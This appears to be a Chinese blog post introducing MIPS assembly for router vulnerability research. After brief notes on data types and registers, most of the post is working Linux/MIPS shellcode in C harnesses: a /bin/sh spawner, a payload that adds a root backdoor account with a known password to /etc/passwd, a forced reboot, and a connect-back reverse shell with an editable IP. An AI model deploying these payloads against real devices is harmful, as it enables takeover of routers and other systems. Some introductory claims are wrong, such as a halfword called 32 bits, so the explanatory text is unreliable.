目录
  1. 1. 前言
  2. 2. 数据类型
  3. 3. register
  4. 4. 指令集
mips 汇编语言

前言

最近要着手去做一些路由器的漏洞复现,了解到路由器大多都是mips架构的,像TP-Link的路由器;

还有arm架构的,像华为,小米的路由器。

根据之前学习X86下的汇编和做过arm-pwn的经验,其实很容易掌握mips汇编,更容易抓住重点。

数据类型

1.MIPS使用定长指令,所有指令都是32位长的
2.1字节=8位,半字长=2个字节(32位),1字长=4个字节
3.一个字符空间=1个字节
4.一个整形=一个字长=4个字节
5.单个字符用单引号
6.字符串用双引号

register

一共有32个寄存器一般用助记符表示

  • MIPS下一共有32个通用寄存器
  • 在汇编中,寄存器标志以$开头
  • 寄存器表示可以有两种方式:
    1.直接使用该寄存器对应的编号,例如:从$0到$31
    2.使用对应的寄存器名称,例如t1,t1,sp,详见下文
  • 对于以上两者,不存在直接寻址,必须通过mfhi(“move from hi”)mflo(“move from lo”)分别来进行访问对应的内容。
  • 栈的走向是从高地址向低地址

指令集

指令的话没必要全部都看反正看了也记不住,留一个基本的指令集来查询吧 MIPS指令集

值得注意的是 MIPS有三种指令格式,而且所有的指令都是32位长,这点跟X86的很不一样。

通过写 shellcode可以更好的掌握汇编

1
2
3
4
5
6
7
8
9
10
11
sh='''
li $v0,0x6e69622f
sw $v0,0($sp)
li $v0,0x0068732f
sw $v0,4($sp)
addiu $a0,$sp,0
li $v0,4011
li $a1,0
li $a2,0
syscall
'''
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/* Title:  Linux/MIPS - execve /bin/sh - 48 bytes
Date: 2011-11-24
Author: rigan - imrigan [at] gmail.com

.text
.global __start
__start:
slti $a2, $zero, -1
li $t7, 0x2f2f6269
sw $t7, -12($sp)
li $t6, 0x6e2f7368
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
*/

#include <stdio.h>

char sc[] = {
"\x28\x06\xff\xff" /* slti a2,zero,-1 */
"\x3c\x0f\x2f\x2f" /* lui t7,0x2f2f */
"\x35\xef\x62\x69" /* ori t7,t7,0x6269 */
"\xaf\xaf\xff\xf4" /* sw t7,-12(sp) */
"\x3c\x0e\x6e\x2f" /* lui t6,0x6e2f */
"\x35\xce\x73\x68" /* ori t6,t6,0x7368 */
"\xaf\xae\xff\xf8" /* sw t6,-8(sp) */
"\xaf\xa0\xff\xfc" /* sw zero,-4(sp) */
"\x27\xa4\xff\xf4" /* addiu a0,sp,-12 */
"\x28\x05\xff\xff" /* slti a1,zero,-1 */
"\x24\x02\x0f\xab" /* li v0,4011 */
"\x01\x01\x01\x0c" /* syscall 0x40404 */
};

void main(void)
{
void(*s)(void);
printf("size: %d\n", strlen(sc));
s = sc;
s();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
/* Title:  Linux/MIPS - add user(UID 0) with password - 164 bytes
* Date: 2011-11-24
* Author: rigan - imrigan [at] gmail.com
* Note:
* Username - rOOt
* Password - pwn3d
*/

#include <stdio.h>

char sc[] =
"\x24\x09\x73\x50" // li t1,29520
"\x05\x30\xff\xff" // bltzal t1,400094 <L>
"\x24\x09\x73\x50" // li t1,29520 (nop)

/* open("/etc/passwd", O_WRONLY|O_CREAT|O_APPEND); */
"\x3c\x0f\x30\x2f" // lui t7,0x302f
"\x35\xef\x65\x74" // ori t7,t7,0x6574
"\x3c\x0e\x63\x2f" // lui t6,0x632f
"\x35\xce\x70\x61" // ori t6,t6,0x7061
"\x3c\x0d\x73\x73" // lui t5,0x7373
"\x35\xad\x77\x64" // ori t5,t5,0x7764
"\xaf\xaf\xff\xf3" // sw t7,-13(sp)
"\xaf\xae\xff\xf7" // sw t6,-9(sp)
"\xaf\xad\xff\xfb" // sw t5,-5(sp)
"\xaf\xa0\xff\xff" // sw zero,-1(sp)
"\x27\xa4\xff\xf4" // addiu a0,sp,-12
"\x24\x05\x01\x6d" // li a1,365
"\x24\x02\x0f\xa5" // li v0,4005
"\x01\x01\x01\x0c" // syscall 0x40404

"\xaf\xa2\xff\xfc" // sw v0,-4(sp)

/* write(fd, "rOOt:XJ1GV.nyFFMoI:0:0:root:/root:/bin/bash\n", 45); */
"\x8f\xa4\xff\xfc" // lw a0,-4(sp)
"\x23\xe5\x10\x0c" // addi a1,ra,4108
"\x20\xa5\xf0\x60" // addi a1,a1,-4000
"\x24\x09\xff\xd3" // li t1,-45
"\x01\x20\x30\x27" // nor a2,t1,zero
"\x24\x02\x0f\xa4" // li v0,4004
"\x01\x01\x01\x0c" // syscall 0x40404

/* close(fd); */
"\x24\x02\x0f\xa6" // li v0,4006
"\x01\x01\x01\x0c" // syscall 0x40404

/* exit(0); */
"\x28\x04\xff\xff" // slti a0,zero,-1
"\x24\x02\x0f\xa1" // li v0,4001
"\x01\x01\x01\x0c" // syscall 0x40404

/* "rOOt:XJ1GV.nyFFMoI:0:0:root:/root:/bin/bash\n" */
"\x72\x4f\x4f\x74"
"\x3a\x58\x4a\x31"
"\x47\x56\x2e\x6e"
"\x79\x46\x46\x4d"
"\x6f\x49\x3a\x30"
"\x3a\x30\x3a\x72"
"\x6f\x6f\x74\x3a"
"\x2f\x72\x6f\x6f"
"\x74\x3a\x2f\x62"
"\x69\x6e\x2f\x62"
"\x61\x73\x68\x0a";

void main(void)
{
void(*s)(void);
printf("size: %d\n", strlen(sc));
s = sc;
s();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
* Title: Linux/MIPS - reboot() - 32 bytes.
* Author: rigan - imrigan [sobachka] gmail.com
*/

#include <stdio.h>

char sc[] =
"\x3c\x06\x43\x21" // lui a2,0x4321
"\x34\xc6\xfe\xdc" // ori a2,a2,0xfedc
"\x3c\x05\x28\x12" // lui a1,0x2812
"\x34\xa5\x19\x69" // ori a1,a1,0x1969
"\x3c\x04\xfe\xe1" // lui a0,0xfee1
"\x34\x84\xde\xad" // ori a0,a0,0xdead
"\x24\x02\x0f\xf8" // li v0,4088
"\x01\x01\x01\x0c"; // syscall 0x40404

void main(void)
{
void(*s)(void);
printf("size: %d\n", sizeof(sc));
s = sc;
s();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
* Title: Linux/MIPS - connect back shellcode (port 0x7a69) - 168 bytes.
* Author: rigan - imrigan [sobachka] gmail.com
*/

#include <stdio.h>

char sc[] =
"\x24\x0f\xff\xfd" // li t7,-3
"\x01\xe0\x20\x27" // nor a0,t7,zero
"\x01\xe0\x28\x27" // nor a1,t7,zero
"\x28\x06\xff\xff" // slti a2,zero,-1
"\x24\x02\x10\x57" // li v0,4183 ( sys_socket )
"\x01\x01\x01\x0c" // syscall 0x40404

"\xaf\xa2\xff\xff" // sw v0,-1(sp)
"\x8f\xa4\xff\xff" // lw a0,-1(sp)
"\x24\x0f\xff\xfd" // li t7,-3 ( sa_family = AF_INET )
"\x01\xe0\x78\x27" // nor t7,t7,zero
"\xaf\xaf\xff\xe0" // sw t7,-32(sp)
"\x3c\x0e\x7a\x69" // lui t6,0x7a69 ( sin_port = 0x7a69 )
"\x35\xce\x7a\x69" // ori t6,t6,0x7a69
"\xaf\xae\xff\xe4" // sw t6,-28(sp)

/* ==================== You can change ip here ;) ====================== */
"\x3c\x0d\xc0\xa8" // lui t5,0xc0a8 ( sin_addr = 0xc0a8 ...
"\x35\xad\x01\x64" // ori t5,t5,0x164 ...0164 )
/* ====================================================================== */

"\xaf\xad\xff\xe6" // sw t5,-26(sp)
"\x23\xa5\xff\xe2" // addi a1,sp,-30
"\x24\x0c\xff\xef" // li t4,-17 ( addrlen = 16 )
"\x01\x80\x30\x27" // nor a2,t4,zero
"\x24\x02\x10\x4a" // li v0,4170 ( sys_connect )
"\x01\x01\x01\x0c" // syscall 0x40404

"\x24\x0f\xff\xfd" // li t7,-3
"\x01\xe0\x28\x27" // nor a1,t7,zero
"\x8f\xa4\xff\xff" // lw a0,-1(sp)
//dup2_loop:
"\x24\x02\x0f\xdf" // li v0,4063 ( sys_dup2 )
"\x01\x01\x01\x0c" // syscall 0x40404
"\x20\xa5\xff\xff" // addi a1,a1,-1
"\x24\x01\xff\xff" // li at,-1
"\x14\xa1\xff\xfb" // bne a1,at, dup2_loop

"\x28\x06\xff\xff" // slti a2,zero,-1
"\x3c\x0f\x2f\x2f" // lui t7,0x2f2f
"\x35\xef\x62\x69" // ori t7,t7,0x6269
"\xaf\xaf\xff\xf4" // sw t7,-12(sp)
"\x3c\x0e\x6e\x2f" // lui t6,0x6e2f
"\x35\xce\x73\x68" // ori t6,t6,0x7368
"\xaf\xae\xff\xf8" // sw t6,-8(sp)
"\xaf\xa0\xff\xfc" // sw zero,-4(sp)
"\x27\xa4\xff\xf4" // addiu a0,sp,-12
"\x28\x05\xff\xff" // slti a1,zero,-1
"\x24\x02\x0f\xab" // li v0,4011 ( sys_execve )
"\x01\x01\x01\x0c"; // syscall 0x40404

void main(void)
{

void(*s)(void);
printf("size: %d\n", sizeof(sc));
s = sc;
s();
}

Reference:

MIPS指令与汇编.pdf

MIPS汇编快速入门

mips_Assembly_Language

MIPS指令集

文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/06/06/mips-汇编语言/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝